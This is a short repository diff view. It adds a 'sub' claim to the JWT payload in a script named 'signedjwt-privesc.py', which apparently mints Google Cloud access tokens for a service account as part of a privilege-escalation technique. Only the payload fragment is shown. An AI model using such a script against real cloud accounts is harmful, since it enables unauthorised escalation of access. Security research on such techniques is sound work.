summaryrefslogtreecommitdiff
path: root/signedjwt-privesc.py
diff options
context:
space:
mode:
Diffstat (limited to 'signedjwt-privesc.py')
-rw-r--r--signedjwt-privesc.py1
1 files changed, 1 insertions, 0 deletions
diff --git a/signedjwt-privesc.py b/signedjwt-privesc.py
index 71eea49..7674211 100644
--- a/signedjwt-privesc.py
+++ b/signedjwt-privesc.py
@@ -19,6 +19,7 @@ def getJwt(service_account_email, token):
now = int(datetime.now().timestamp())
payload = {
"iss":service_account_email,
+ "sub":service_account_email,
"scope":"https://www.googleapis.com/auth/cloud-platform",
"aud":"https://oauth2.googleapis.com/token",
"iat": now,